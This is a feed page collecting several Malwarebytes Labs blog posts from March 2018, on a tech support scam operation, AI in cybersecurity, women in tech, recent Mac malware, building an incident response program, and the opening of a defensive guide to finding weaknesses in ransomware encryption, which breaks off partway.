Techie Feeds

Tech support scammers GeeksHelp caught again, two years later

Malwarebytes - Fri, 03/09/2018 - 20:08

Many researchers have noted an increase in tech support scam activity during the past few months. This trend, facilitated by browser lockers, is not surprising considering that other web-based infection methods are not as effective.

While people are still receiving cold calls from alleged Microsoft technicians, crooks are mostly relying on other means to get their call centers busy, which they often do by purchasing leads.

During an investigation into a particular strain of tech support scams, we came across the same scammers we had already exposed in May 2016.

Click to view slideshow.

After calling the number posted on the fake Windows alerts, a technician prompts victims to download remote software required to take control of their computer. The company is called GeeksHelp, aka AmericaGeeks, previously known to us as Geeks Technical Solutions LLC, which operates out of Chandigarh, India. 

The company claims that they are working with Microsoft and that the number posted on the tech support scam page is from Microsoft’s headquarters, redirecting to them for assistance.

When you call on this particular number, first your call will be routed to the Microsoft headquarters. And after that the headquarters route all these calls to us.

Actually in America we are the only one who are providing support on Microsoft issues.

The sales pitch invariably turns into purchasing a support plan to get rid of the “computer viruses.”

To make matters worse, AmericaGeeks also provides unauthorized Malwarebytes support:

We discovered that this company is targeting the French with the same tactics, but with a localized native language tech support service. This time, the call center responding to the calls is named GeeksFrance. Their website, geeksfrance[dot]com, displays the different plans they offer, ranging from 99.99 euros to 499 euros.

This company lists an address in France: 7 Boulevard de la Liberation City Marseille, Provence-Alpes-Côte d 13014, but according to a job offer for inbound call sales associates found online, they are more likely located in Tunisia, a country where over 60 percent of the population can speak French.

Just like the scammers from the Indian call center, the rogue Tunisia-based techs also come up with false statements about the state of their victim’s computer. The final invoice page looks identical to the one used by AmericaGeeks.

This is not surprising because the infrastructure that powers the French version of the scam (geeksfrance[dot]com) can be tied to the original group we identified back in 2016, Geeks Technical Solutions LLC (geekstechnicalsupport[dot]com), by the same IP address ( where both domains are hosted.

Victims of tech support scams often have to part with hundreds of dollars and, in some cases, crooks will further manipulate them in order to collect even more. The scam only really works if people make the call first, which is why browser lockers are a big part of these schemes.

Despite efforts to curb the rapid proliferation of tech scams, we are witnessing intense activity and more outsourcing of roles and responsibilities, which not only contribute to better efficacy but also make it harder for law enforcement to tackle them on a global scale.

The post Tech support scammers GeeksHelp caught again, two years later appeared first on Malwarebytes Labs.

Categories: Techie Feeds

How artificial intelligence and machine learning will impact cybersecurity

Malwarebytes - Fri, 03/09/2018 - 17:06

Artificial intelligence (AI) and machine learning (ML) are hot topics in technology. New use cases and applications are discussed daily—from search results recommendations to smart cars. But what are cybersecurity organizations doing with this tech? What does it take to render additional security out of AI? And how do AI and ML change the way we fight cybercrime?

Both AI and ML are already being adopted and implemented in many cybersecurity platforms. But before these two forms of tech achieve mainstream traction, it’s important to discuss their impacts.

The difference between AI and ML

The problem with hot tech like artificial intelligence and machine learning is that people and companies end up having different perceptions of what they really are. As to not muddy the water, let’s start by explaining the relationship between the two. Artificial intelligence and machine learning are not interchangeable. Consider machine learning, instead, as a sort of offspring of artificial intelligence.

Artificial intelligence is achieved when machines carry out tasks that are not pre-programmed and in a way that we consider “smart.” Take, for example, a computer that can play chess. There is a big difference between a chess computer that has countless situations pre-programmed and performs the given solution, or a chess computer that analyzes the position of the pieces and calculates the outcome for every possible move many moves ahead. The first is executing commands. The second is using artificial intelligence.

Machine learning is an algorithm that, when fed enough information, is capable of recognizing patterns in new data and learning to classify that new data based on the information it already has. Essentially, these algorithms teach the machine how to learn. An apparent danger in this method is that if the machine is allowed to accept its own assumptions to be true, it may stray from the path the developers envisioned.

To sum it up, AI focuses on building smart machines while ML is about creating the algorithms that allow machines to learn from experience.

Is this simple text recognition or does the robot understand what it’s reading?

Examples of AI and ML

We have all seen examples of AI/ML in our daily lives. Some of them we may recognize as such, but others have become so common, that we don’t even notice them anymore. Autofill, for example—a tool we’ve become accustomed to in search engines, SMS messages, and chat applications—would never exist without machine learning. (Because the machine learns what your next word is likely to be and suggests it.)

In some areas, we have seen lots of progress in artificial intelligence and machine learning: self-driving cars, voice recognition, image analysis, and medical devices. And, as referenced in Minority Report, AI has many applications in the field of targeted marketing/ personalized advertisements.

Current use in cybersecurity

If it weren’t for developments in AI and ML, it would be much harder for cybersecurity companies to detect all the new malware that comes to the surface every day. Therefore, it makes sense to use the options offered by these fast-growing fields to our advantage. At Malwarebytes, we already use a machine learning component that detects malware that’s never been seen before in the wild (zero-days). And other components of our software perform behavior-based, heuristic detections—meaning they may not recognize a particular code as malicious, but they have determined that a file or website is acting in a way that it shouldn’t. This tech is also based on AI/ML.

Other so-called “next-gen” security solutions promise to protect their customers against zero-days and ransomware in a similar way, so there does seem to be a trend in this with some of the newer cybersecurity companies. But not all of them call their methods “artificial intelligence” or “machine learning,” which makes it hard to determine how mainstream they really are in cybersecurity.

It seems that while most companies might be well aware of the need for new security strategies, not many have implemented AI/ML to fight back against the rising tide of ever-more sophisticated malware.

Perfect fit

Let’s face it: Machines are much better and more cost-efficient than humans when it comes to handling huge amounts of data and performing routine tasks. This is exactly what the cybersecurity industry needs at the moment, especially with large amounts of new threats appearing every day.

Most of these new threats can easily be classified into existing families or familiar types of threats. In most cases, spending time looking over each new threat in detail would be a waste of time for a researcher or reverse engineer. Human classification, especially in bulk, will be error-prone due to boredom and distractions. Machines, however, do not mind going through the same routine over and over, and they do it much faster and more efficiently than people do.

But that doesn’t mean they always get it right. Even with an AI, it will be necessary to keep an eye on the work to check whether the algorithms are still working within the desired parameters. AI and ML without human interference might drift from the set path. But with an AI as a partner, researchers needn’t be buried in menial work.

Classification and…?

How else can we use AI and ML in cybersecurity? In fact, anything can be used as a basis for a machine learning algorithm as long as you have enough data on it to detect a pattern that leads to accurate conclusions.

Take, for example, attribution. Right now, it’s quite difficult for security researchers to determine who was behind an attack. They must take the forensic artifacts of a cyberattack and match them to known threats against targets with similar profiles. Or in other words, try to figure out the attacker based on the methods used and who the target was (or might have been).

Now, it’s anyone’s guess who was behind an attack, and fingers are often pointed in convenient directions (It was the Russians!) instead of accurate ones. But with the help of artificial intelligence and machine learning, we can pinpoint the origin of the attack with more accuracy.

Machine learning can also be used for security projects outside of infosec. For example, the UK government has selected eight machine learning projects to boost airport security. The selected projects will make use of ML techniques to detect threats on passengers and in bags, like an imaging device that can scan shoes for explosive materials. This effort is meant to shorten the time spent by passengers in queues during their screening process.

Applying machine learning to security efforts, even those outside of cybersecurity, offers both those charged with keeping the world secure and those looking for protection a solution that sacrifices neither accuracy nor efficiency.

Adversarial machine learning

One of the reasons why we will want human checks on the development of the ML algorithms and their results is the unavoidable coming of adversarial machine learning. In a nutshell, adversarial machine learning means the “bad guys” will come up with ways to lead our AL or ML astray. In cybersecurity, this could result in confusing the detection routines to a point where they would allow malware through. This is one of the reasons to use AI and ML alongside more traditional detection methods. When considering implementing artificial intelligence or machine learning, creating a system of checks and balances can help put to rest fears that the technology will be abused for wrongdoing.


Artificial intelligence and machine learning have already gained a foothold in cybersecurity, but we can promise you that this development will go a long way further as the two fields are a perfect fit. The amounts of new data coming in every day are too much for cost-effective human processing, and machines are less error-prone if trained properly. There will be some kinks to work out, as AI and ML are still very much in development phases. The expectation is that the implementation of AI and ML will make the human work less in quantity but more challenging.

The post How artificial intelligence and machine learning will impact cybersecurity appeared first on Malwarebytes Labs.

Categories: Techie Feeds

International Women’s Day: Women in tech share their stories

Malwarebytes - Thu, 03/08/2018 - 17:00

From the #metoo movement to Oprah’s Time’s Up speech to the women’s marches on cities throughout the world—it’s been a banner year for women’s rights. And on this International Women’s Day, we wanted to do more than pay lip service to the changes in feminist dialogue. After all, tech is an industry with a well-deserved reputation for being a boy’s club. But that’s something that needs to change.

Thanks to millions of voices bringing awareness to gender disparity, discrimination, and sexual harassment in the workplace, what was once whispered in hush tones are now delivered loudly, publicly, and on some of the widest-reaching platforms by some of the world’s most powerful people. It’s what makes sly comments like those from Natalie Portman and Emma Stone about the imbalance of power at the top of the movie-making business so well-received instead of PR nightmares.

It’s a lesson that women in tech can take to heart about how to face discrimination in everyday situations so that stories about frustration and shame can become stories about a teachable moment. (And trust me, we all have stories.)

And it’s a lesson that the women in tech that I spoke with have already internalized. Below, you’ll read about six women in cybersecurity, gaming, and other tech industries who’ve faced gender bias or discrimination. They told me what happened, how they handled it in the moment, and what advice they would give to other women in the industry on how to persevere.

These everyday Wonder Women have faced the odds head on and overcome, whether it was a subtle slight or a systematic diss. Some have gone on the record, while others chose to be anonymous. Here are their stories.

Female security researcher, Malwarebytes

I learned Chinese while in the military and occasionally use it in infosec. In my first civilian job, I would be asked for a translation in staff meetings from time to time. After giving one, a guy would routinely cut me off and provide his idea of “what the Chinese probably said.” (He did not speak Chinese.) I probably could have handled it better, but I was so aggrieved at my competence and judgment being questioned that the next time he did it, I interrupted him and asked, “Oh, so you speak Chinese too?” Long pause. “No?  So it’s just me?”

After that meeting, he never did it again, and in fact was very supportive for the remainder of our time together.

Advice for women in tech

This study examined sexism in online gaming, who was pushing it, and why. It found that the worst sexism was largely a hierarchy survival strategy by men who weren’t very good at the game. This stuck with me, as most of the sexism I’ve seen in the workplace hasn’t really been from the best and brightest or most experienced.

Seeking out and working with men who are experienced, secure, and good at their jobs has improved my work environment by quite a bit.

Amanda Glasser
Senior Business Developer, Mobile Games, Unity

As a quality assurance tester at a video games company in 2006, we were paid an hourly rate consistent with California minimum wage, plus overtime. One day, HR mixed up our paychecks and I ended up with one belonging to a white guy. His base was a fat $2 more than my pitiful California state minimum wage. We worked there the same length of time, had the same role, pulled the same overtime—we were even the same age. I asked HR about it, and about a month later, my contract was terminated (ostensibly for unrelated reasons). Not that I’m bitter; that guy still works in QA 10 years later, and he makes considerably less than me.

Later, when I worked at a large tech company, I was frequently told that my communication style was aggressive, bossy, and confrontational. This was usually told to me by male superiors or peers. These same people often interrupted me when I was speaking, stood up to walk around me where I was seated (as if I were in a police interrogation), and one of them actually would sneak up behind me on my way into the bathroom and slam a basketball on the floor directly behind me to “scare” me as a “joke.”

Didn’t even bother with HR this time; I just left that company for another one.

Advice for women in tech

Go to the networking events, even if you don’t think of yourself as a “woman in tech.” You’re not going to break in being picky about labels. Look for relevant conferences that hire volunteer staffers and apply to be one. It’s a great way to network and get free access to the content.

Make friends.

Do not be the poor sucker who always takes notes in meetings or gets coffee for people. Unless your actual job is “secretary” or “caterer,” in which case, carry on.

Ban the phrase “I’m sorry,” from your vocabulary at work. If you actually need to apologize for something, use the words “I apologize,” instead.

Seriously. Make friends. Whether you’re just starting out or have been in it a long time, you’ll never get through the hard days without friends.

Jovi Umawing
Malware Intelligence Analyst, Malwarebytes

To the best of my knowledge, I think I’m one of the rare ones in infosec where I have not encountered any biases because of my gender. That isn’t to say that there are no biases—it’s just that they’re fueled by other reasons that don’t include me being a woman. In my first eight years in the infosec industry, I was based in the Philippines, and we have a lot of female reverse engineers, spam and fraud experts, and technical writers. I’ve also served under a number of female managers and executives.

Did I come across sexism as a public figure? I don’t think so—unless we count the times I’m referred to as “he” by press people in my quotes, which happened (and continues to happen) most of the time. I guess that goes to show that not many women in infosec are covered in the media. I’d like to see a change in this.

Advice for women in tech

It may seem like I’m sheltered from the gender issues many women in tech in the US experience, and you’re probably right…although I do sympathize deeply. But one thing I can share is that if women ever wonder if it’s even possible to work in infosec and not feel unwelcome or unheard because of their gender—I can say that it is. And being part of a company that lets you do what you do best, helps you grow in your career, and doesn’t discriminate because of your gender is a very, very fulfilling experience. My takeaways from those years continue to serve me until today.

Allison [last name redacted]
works at one of the biggest tech companies in Silicon Valley

In tech, the clearest example of a gender bias is simply the other people in the room with me. I’m very frequently the only woman in a room and I can maybe recall 2-3 meetings where women made up more than 50 percent. Women are simply not represented in the tech teams in the same numbers. When you move to decision makers, directors, VPs, and above, it is even more stark.

In these situations, sometimes I mention it to someone I trust in the room to draw attention to the lack of diversity. I am a believer that awareness is the first step to change, and I honestly don’t believe that most men even notice that there aren’t women because that is normal for them. When I point it out, they are usually a bit taken aback, as they aren’t sure why I’m mentioning it, or why they didn’t notice it.

Another example I have of [gender bias] is in the terms and phrases that people use in the office. We were dealing with a pretty difficult issue with some vendors and the team needed to come to an agreement on the path forward. I was the only woman in the room and one of the technical leaders said, “Someone will need to put their balls on the table and commit to a decision!” I quietly sat at the end of the table and commented, “Well, some of us don’t have balls, so maybe our badges would be more appropriate.” At the end of the meeting, I had to step out. As I left, I simply said, “You can now return to referencing your male organs if that helps the conversation progress.”

It was a bit of a mic drop moment.

Advice for women in tech

Get some thick skin. Sexism comes in many forms, and some of it requires you to not let it impact you personally. Someone treating you differently because of your gender isn’t a reflection on you, so don’t let it get to your confidence. Call it out and let it go because there isn’t enough time in the day.

Own your accomplishments. When you do something amazing (and you will), own it! Tell people and be sure you talk it up on your performance reviews and at networking opportunities. Finding the right way to self-promote while being humble is a balance that requires practice—learn to get good at it. Find other women, as we really are our best allies, and this means finding women who will help mentor and grow you, but it also means returning the favor. And finally, pick your battles, because you cannot confront every form of sexism every day. There isn’t enough emotional energy for one person to take it on.

My other piece of advice would be for women to simply call sexist behavior out when they see it. Sure it is awkward, 100 percent, but that awkwardness is temporary. And compared to the damage that unchecked sexism has already had on organizations and women’s culture, I think a little awkwardness is worth it.

I would also try to find the male allies around you. They exist and many of them understand the problem but simply don’t know what to do about it. Talk with them, ask them to back up your ideas, and if they are in a position to make decisions or influence leaders, ask them to represent women in conversations that are relevant.

Finally, I try to approach any issue about sexism and diversity as a coach vs. a critic. If you constantly berate people for doing or saying sexist things, you miss out on the teaching moment. I truly believe some men don’t see the sexist undertones in comments or they have unfortunately created habits that they no longer even question whether they are appropriate. I received a work email…that started out with “Hello Gentlemen.” Instead of getting all uppity, I chose to assume this was just a habit that this person got into because I was a new team member and up until that point, the factory leaders were all men. So I simply pointed it out and let it go vs. believing that the author of the email was a total sexist jerk. A little understanding and coaching go a long way.

A (different) female researcher at Malwarebytes

Yes, I’ve [experienced discrimination], especially in the beginning when I was a volunteer giving support in online forums. A few men didn’t want my help, as they believed that women didn’t fit for this job/work, and were not technical enough. They asked me if I could ask a male volunteer to help them instead. I didn’t want to waste my voluntary time on these people anyway. I ignored them and didn’t respond back.

One case had a twisting outcome, however. While another male volunteer was helping this person, after a few days, he sent me a message and asked if I could jump in and help him anyway. I originally refused and told him I am not technical enough to help him (his words). He then apologized, said he was wrong and misjudged me, and understood if I didn’t want to help him anymore. So I gave in and helped him. This happened more than 10 years ago, and as of today, we still occasionally have contact and share insight/knowledge.

Advice for women in tech

This applies to both those who are interested in working in tech and those who are already in it. From past experiences and the evolution of more women in tech, I’ve noticed that overall, women are well accepted in this previously all-male industry. Just stay yourself and especially don’t let someone run over you (male or female). Respect your peers and stay open and honest with them. Let them know when their behavior isn’t appropriate instead of hiding in a corner in silence. And ask for help if you don’t know how to handle a situation.

Special offer for those who’ve read this far

Thanks for being awesome and reading up on these incredible ladies and their worthwhile advice. As a treat, we’re going to tip you off to a special International Women’s Day offer on Jane Frankland’s book InSecurity: Why a Failure to Attract and Retain Women in Cybersecurity is Making Us All Less Safe. Good through today and tomorrow.

The post International Women’s Day: Women in tech share their stories appeared first on Malwarebytes Labs.

Categories: Techie Feeds

The state of Mac malware

Malwarebytes - Thu, 03/08/2018 - 13:01

Mac users are often told that they don’t need antivirus software, because there are no Mac viruses. However, this is not true at all, as Macs actually are affected by malware, and have been for most of their existence. Even the first well-known virus—Elk Cloner—affected Apple computers rather than MS-DOS computers.

In 2018, the state of Mac malware has evolved, with more and more threats targeting these so-called impervious machines. We have already seen four new Mac threats appear. The first of these, OSX.MaMi, was discovered on our forums by someone who had had his DNS settings changed and was unable to change them back.

The malware that was discovered on his system acted to change these settings and ensure that they remained changed. Additionally, it installed a new trusted root certificate in the keychain.

These two actions are highly dangerous. By redirecting the computer’s DNS lookups to a malicious server, the hackers behind this malware could direct traffic to legitimate sites, such as bank sites, Amazon, and Apple’s iCloud/Apple ID services, to malicious phishing sites. The addition of a new certificate could be used to perform a “man-in-the-middle” attack, making these phishing sites appear to be legitimate.

Thus, this malware was likely interested in using phishing sites to steal credentials, although we don’t know what sites were targeted.

The second malware was discovered via research into nation-state malware, called Dark Caracal, by Lookout. The report mentioned a new cross-platform RAT (remote access tool, aka backdoor), which it called CrossRAT, which is capable of infecting Macs, among other systems. This malware, written in Java, provided some basic remote backdoor access to infected Mac systems. Although not very complete, this malware was only a version 0.1, indicating that it is probably in an early stage of development.

Although Macs no longer come with Java preinstalled, and haven’t for years, it’s important to keep in mind that nation-state malware is often crafted and used with some knowledge of the target(s) in mind. The targets intended to be infected with this malware may have had reason to install Java, or it may have been installed via physical (or some other) access by a hacker targeting specific individuals.

The next piece of malware was named OSX.CreativeUpdate, and was originally discovered through a supply chain attack involving the MacUpdate website. The MacUpdate website was hacked, and the download links for some popular Mac apps, including Firefox, were replaced with malicious links.

These kinds of supply chain attacks are particularly dangerous, even capable of infecting savvy members of the development and security community, as was documented by Panic, Inc. in The Case of the Stolen Source Code.

Users who downloaded the affected apps from MacUpdate ended up with lookalike malicious apps. These apps would install malware on the system, then open the original app, which was bundled inside the malicious app, to make it appear normal. This helped cover up the fact that something shady was going on.

The malware, once installed, used the computer’s CPU to mine a cryptocurrency called Monero (a currency similar to Bitcoin). This would result in the computer slowing down and the fans starting to run at high speed. This has a number of negative impacts, such as significant hits on the performance of the computer, reduced battery life, increased usage of electricity, and even potential for overheating the computer and damaging the hardware (especially if the fans were not working at peak capacity or the vents were clogged with dust).

The most recent piece of malware, called OSX.Coldroot, was a generic backdoor that provided all the usual access to the system that a typical backdoor does. However, some aspects of its installation will fail on any modern system (macOS 10.11, aka El Capitan, or later), and due to bugs it will fail entirely on some systems. This malware didn’t seem like much of a threat, but could still be dangerous on the right system.

These are simply some of the most recent examples. Mac malware saw an increase of over 270 percent between 2016 and 2017. Last year saw the appearance of many new backdoors, such as the now infamous Fruitfly malware, first documented by Malwarebytes, which was used by an Ohio man to capture personal data, and was even used to generate child pornography.

This doesn’t address the rising threat of adware and PUPs (potentially unwanted programs, usually scam software in the guise of legitimate software). These kinds of threats have become pervasive in the last few years, even invading the Mac App Store to the degree that certain classes of software—such as antivirus or anti-adware software—in the App Store are almost entirely PUPs and cannot be trusted.

Unfortunately, many Mac users still have serious misperceptions about the security of macOS. Some will still tell people that “Macs don’t get viruses,” hiding the truth behind a technicality that no Mac malware quite fits the strict definition of what it means to be a “virus.” Others are under the mistaken belief that Macs are invulnerable, saying things like, “Macs are sandboxed, so they can’t be infected.”

In this environment, the average Mac user has no effective protection to prevent them from being infected with malware, much less the far more common threats posed by adware and PUPs. Worse, because they believe that there are no threats, they often do not exercise the same caution online that they would on a Windows machine.

Apple’s macOS includes some good security features that are helpful, but they are easily bypassed by new malware, and they don’t address the adware and PUP problem at all. macOS cannot be considered bulletproof.

We know that not everyone wants to run antivirus software on their Macs, but if you’re looking for additional protection, Malwarebytes for Mac can help. Business users can get a similar level of protection from Malwarebytes Endpoint Protection as well.

The post The state of Mac malware appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Building an incident response program: creating the framework

Malwarebytes - Wed, 03/07/2018 - 17:00

In part one of our series, our overview of Building an incident response plan, we discussed what regulations organizations will need to meet in order to address incident/breach response protocols laid out in the EU’s General Data Protection Regulation (GDPR). This week, we’ll talk to you about steps to take to actually create your company’s incident response program.

An incident response (IR) plan does not need to be overly complicated or require reams and reams of policy, standard, and other documentation. However, having a solid and tested framework for the program is key in the ability of an organization to respond to and survive a security incident.

There are many different incident response frameworks from security companies and organizations that are useful in their own ways. From my experience, the simplest, yet most robust framework to build upon is the US government’s National Institute of Standards and Technology (NIST) Special Procedure (SP) 800-61.

There are four key steps within this framework: preparation, detection and analysis, containment eradication and recovery, and post-incident activity.

NIST SP800-61r2 Incident Response Life Cycle


In my opinion, preparation is probably the most important step in incident response. An organization that is not prepared to handle an incident will almost always fail to appropriately detect, let alone respond to, a security incident. Preparation, of course, includes establishing an incident response program, including all the necessary compliance and governance documentation (including policy, standard, and procedures, at a minimum). More on this later. But it also includes socializing the different aspects of this program so that it can be effectively executed. That includes the following steps:

  • Maintain a 24x7x365 call-tree for all departments within the organization.
  • Design (or procure) and implement security monitoring equipment.
  • Outfit incident response staff with the appropriate equipment, software, access, chain of custody forms, secure storage locations, and war rooms.
  • Educate staff and incident responders with what is “normal” within the environment—installed software, permitted ports and protocols, acceptable use policies, etc.
  • Create a central email address for security or incident response, and provide access to the mailbox to appropriate personnel. This should be a shared mailbox vs. a distribution list to allow for better archiving and searching.
  • Provide continuous training for staff through internal and external training sessions.
  • Test the incident response process and detection/response tools regularly through realistic scenarios and mock indicators.
Detection and analysis

In addition to staff being notified of security events via automated alerting (email, SMS, etc.), staff should perform threat hunting activities and review security tool administrative interfaces. They can do so through the following processes:

  • Identify any abnormal activities through security tool monitoring and reviewing.
  • Monitor central email addresses for reports of abnormal or malicious activities.
  • When an alert or report indicates a security event:
    • Review the alert or report for accuracy and validity.
    • Utilize a security information and event management (SIEM) system to correlate event indicators against other logs and tools.
    • Investigate indicators against public information such as WHOIS, DNS, threat intelligence sources, and other resources to identify information about the potential attackers.
  • Maintain a report of the activities performed, timeline, and outstanding actions—this should be a formal report for more severe or in-depth incidents.
  • Prioritize the incident among other organization and security activities (impact of data loss, downtime, recovery time, etc.).
  • Develop steps for communicating the status of an incident to internal management and staff, as well as customers or external partners.
Contain, eradicate, and recover
  • Consider the containment strategy: Should you wipe and rebuild or can the organization support monitoring the malicious actors for a period of time to ensure all impacted systems are known?
  • Ensure all evidence is gathered in an approved, secure, and structured manner and is stored in a secure location to prevent tampering or loss.
  • If desired, attempt to identify the attacking host.
  • Remove malicious software or rebuild hosts to a known clean state.
  • Notify impacted customers or regulatory agencies within 72 hours or as required by contracts or regulations (including GDPR).
Post-incident activities

Once the breach has been secured, computers restored, and impacted customers notified, there’s one last stage to consider. Evaluating what happened after the fact can ensure a smoother response in case of future attacks.

  • Gather all responders (from within security and from other teams) to discuss how the incident was handled and ways to improve response in the future.
  • Utilize indicators from the incident to update security monitoring tools.
  • Notify external entities related to the indicators discovered; for example, the domain owner for a website that was compromised and delivering malicious content.
  • Update incident metrics and key performance indicators.
  • Retain the evidence for a prescribed timeframe—pay attention to the potential for future legal actions when considering retention times.
Policy, standards, procedures, and guidelines

I am the last person to push compliance or governance over technical action, as I have seen and created too many policy documents that just sit on shelves. However, I do feel incident response is one place where having solid governance and documentation is critical.


An incident response policy document should establish the IR program and team structure and, probably most importantly, emphasize ownership and buy-in for the IR program at the executive level. This document will provide the highest level of requirements for the program—the key policy statements. Any policy statement must be adhered to, and any deviations should be documented and approved within an organization’s risk management team.

These key policy statements should be in the IR policy:

  • Statement regarding executive-level commitment
  • Purpose, scope, and objectives of the policy
  • Definitions of key terms, including the difference between a security incident and security event
  • Organizational structure
  • Incident severity levels
  • Statement on the necessity to prioritize security incidents when multiple incidents, events, or business evolutions are occurring
  • Reporting and communication requirements
  • Key performance indicators and metrics

The standards document will provide a bit more detail about the requirements for fulfilling the policy, and should also outline approved tools, technology, and techniques that can be utilized within the IR program.

It should be noted that while the statements within a standards document need to be adhered to with the same rigor as the policy, in some cases, especially with tools, techniques, and technologies, utilizing the specific approved tools may not be possible. This is where a key activity within incident response comes into play: documentation, documentation, and more documentation. All responders should clearly document what they are doing, when they are doing it, and what the outcomes were.

Overall, exceptions to the standard should be documented and tracked within the risk management program; however, if a remote office cannot utilize the “approved” forensic tool for checking a system in the middle of an incident, the standards should be designed so that the Incident Response Manager has the authority to provide an exception. This ensures that the person executing the action documents all of the steps they took to be able to gather and reproduce any evidence in a sound manner.

The types of information contained within the standards document should include:

  • Tools and technologies that are approved for use at any time within an incident—these should be specified by name and version number
  • Techniques used to gather evidence or analyze systems. In the standards document, these techniques should only be outlined at a high level. The details of the technique should be included in an applicable procedure or guideline.
  • Detailed listing and descriptions of the different incident types
  • Explanation of the order of prioritization for different incident types
Procedures and guidelines

These documents are the heart of the actual incident response activities. Procedures and guidelines should be written as detailed as possible. While the core of the incident response team may be able to acquire the image of a Windows laptop in their sleep, there may be other staff members that need to help out in a moment’s notice. Consider if, in the middle of a large incident, you have to get a non-technical person in a remote office to get you an image of a laptop. Having step-by-step instructions can mean getting the image to analyze in a few hours vs. getting it in a few days via the shipping department.

I am also of the mindset that creating detailed, step-by-step procedures or workflows can help staff get the basic steps done quickly and thus free themselves up to dig into the findings deeper to better understand what is going on. For example, within an email phishing workflow, I would identify the first steps, such as getting the headers, performing WHOIS on the domains in the headers, investigating any URLs with online tools, performing searches for the SHA256 of any attachments, and considering what should be documented in a report. Once those steps are completed, the analyst can then use their experience and expertise to identify the level of threat or determine that this may be a bigger event than a simple phish. Having the first handful of steps documented in detail allows the analyst to get through the basic stuff in about 15 minutes vs. an hour.

The following are some key items that should be considered for the procedures and guidelines documents:

  • Workflows should be established for the different types of incidents or events that will be received (e.g. a workflow to respond to a targeted phishing campaign against the company or a workflow to detail the steps a responder would need to take when an alert is generated from the central SIEM).
  • Evidence gathering and handling techniques should be documented in extreme detail so that even a non-technical person can gather evidence in a sound manner.
  • Checklists and flow charts are excellent to use within procedures and guidelines.
  • Forensic analysis steps should be documented in enough detail to allow the person performing the analysis to get the key steps done quickly.
  • Preferences for communications within the team and with external entities should be outlined.
  • Detailed steps to take with the specific technology deployed within the organization should be recorded (e.g. how to utilize the Malwarebytes Cloud Platform to export key data that needs to be analyzed to determine the extent of the incident).

Incident response has been a core information security tenant for many years and continues to be an important part of an organization’s information security program. New regulations, such as GDPR, continue to press the need for a solid, documented, tested, and robust IR program.

Your company’s incident response program does not need to be complicated, but it does need to be supported by executive-level leadership, staffed by trained and experienced personnel or outsourced to a reliable and competent MSSP, regularly tested for completeness and competency, and well-documented so an organization does not have to develop a strategy in the heat of the moment. With the right IR program in place, what could end up as an incredibly damaging event for the company might only be a tiny blip.

The post Building an incident response program: creating the framework appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Encryption 101: How to break encryption

Malwarebytes - Tue, 03/06/2018 - 19:10

Continuing on in our Encryption 101 series, where we gave a malware analyst’s primer on encryption and demonstrated encryption techniques using ShiOne ransomware, we now look at what it takes to break an encryption. In order for something as powerful as encryption to break, there needs to be some kind of secret flaw. That flaw is often a result of an error in implementation.

There are a number of things that can go wrong for someone who is implementing encryption. What’s difficult is being able to identify and analyze the methods a programmer used for encryption and look for any weaknesses to exploit.

These weaknesses can be anything from weak encryption algorithms and weak key generators to server-side vulnerabilities and leaked keys.

Locating encryption algorithms

Before you can even attempt to find the weakness, you must first know what was the encryption algorithm being used. A lot of times, it’s as simple as looking at the API calls. If this is the case, it can be quite simple to identify the algorithm. This was the case for the previous ShiOne walkthrough.

There are times, however, where the encryption is statically compiled into the malware or even a custom written encryption algorithm is used. When this is the case, you must be able to understand the inner workings of encryption algorithms to be able to identify code.

A file’s content will be encrypted and written back into the file, so a quick method to narrow down the general region where the encryption lies is to simply xref the ReadFile and WriteFile API calls. The encryption implementation will likely be performed between these two points.

Identifying encryption code

When looking for statically compiled encryption code, as we mentioned, you will not have the luxury of searching for any API calls. A basic understanding of some of the low-level details of how these encryption algorithms work will be necessary.

Starting off, below, we have the high-level flow of AES algorithm. In general, most synchronous encryption algorithms have a similar flow to this; the differences may be the types of mathematical operations performed, but the core concepts remain the same. So, understanding AES will be enough of a starting point to help identify other types going forward in a real-world analysis.

With AES, being that it is a synchronous encryption algorithm, it performs a series of mathematical and logical operations on three things working together:

  1. Plaintext data to be encrypted
  2. Static bytes that are part of the algorithm (lookup table)
  3. The key used for encryption

Depending on the flavor of AES and key size, the flow will be slightly different. In the picture above, you see a loop involving a few blocks:

  1. Add key
  2. Shift rows
  3. Sub bytes
  4. Mix columns

What is happening in these steps is the file data is read into a matrix of a fixed number of bytes. In this case, it’s 16 bytes, but depending on the algorithm, it could be anything. Here are the rounds of steps:

  • The add key round XORs the key data against the matrix of input data.
  • The shift rows round rolls the data using a shift operation. What I mean by rolling is the following: 4 5 2 1. If the roll shifted left one count, it would become 5 2 1 4. Rolled again it would become 2 1 4 5.
  • The sub bytes round involves a static array of bytes built into the algorithm. Each byte of data from previous steps is used as the index to a lookup array. Thus, there is a static substitution occurring. You can think of it as similar to an enum in programming.
  • In the mix columns round, the bytes in the matrix are manipulated by some mathematical operations and linear transformations, and result in each byte of the matrix being different now.

Each set of these four series of operations is considered one round. AES can have 10 to 14 rounds. This means that when you are looking for the encryption code inside of a binary, it will likely be a long function with a lot of repetitive-looking code. This is one aspect that can help you identify it as encryption code when looking though the binary.

Here is another example of a round of encryption, likely from a different flavor of AES or similar synchronous crypto:

As you can see, the order of operations is a bit different. These kinds of details are not too important to us because we are not cryptographers. In general, we are not looking to find the weakness in AES algorithm itself, we are looking to find a weakness in the implementation. The reason for going into such detail on the inner workings of AES is only to give you an understanding of how it works so that you can identify it in code when you see it in the wild.

I will point you to a previous analysis we did of the Scarab ransomware. This was an example from which the code above was taken. They were encrypting files using statically compiled AES—no API calls. We had to do some research on the inner workings of various encryption methods to be able to properly identify what the algorithm was actually doing.

The details on the number of sets of these operations in this function was one of the main indicators to us as to which algorithm this code belongs.

I am including this image from the previous article once again just to remind about many encryption methods are being used in a single ransomware. This is good to keep an eye out for and not to be confused when you find multiple encryptions being used. Here, we have the flow chart showing the file encryption but also the algorithm that encrypts the previous key. Although it is not the encryption that is modifying the file itself, it will be what is used to keep the file encryption key secure. Both areas are points of weakness when looking to break encryption.

The point is that any number of combinations of encryption can technically be used, as it is up to the author. You must be able to understand and identify each one and the role it plays in the overall scheme. It may be that a single encryption usage was implemented incorrectly and can be broken, and it may be a combination of a few things that together cause a hole in the overall scheme.

Random number generators

A good starting point when looking for weaknesses in encryption is by looking at the encryption key generators, which in most cases are just some form of a random number generator.

If you have ever read anything about encryption, you will likely have come across someone mentioning the importance of the random number generator. The reason for this is that if you can force the output of a random number generator to reproduce the same value that was generated during a previous encryption, you will likely be able to recreate the original encryption keys.

